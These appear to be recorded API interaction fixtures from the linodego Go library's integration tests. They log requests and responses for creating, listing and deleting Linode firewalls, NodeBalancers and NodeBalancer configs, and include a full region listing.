Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "437" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441129/configs method: GET response: body: '{"data": [{"id": 670347, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 441129, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "486" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441129/configs/670347 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441129 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228219 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestNodeBalancerConfigs_ListMultiplePages.yaml000066400000000000000000000660111455402072200355410ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 228220, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "526" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228220}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 441130, "label": "go-test-def", "region": "ap-west", "hostname": "172-232-86-40.ip.linodeusercontent.com", "ipv4": "172.232.86.40", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80,"protocol":"http","algorithm":"roundrobin","check_interval":60}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441130/configs method: POST response: body: '{"id": 670348, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 441130, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "437" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441130/configs method: GET response: body: '{"data": [{"id": 670348, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 441130, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "486" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441130/configs/670348 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441130 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228220 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - 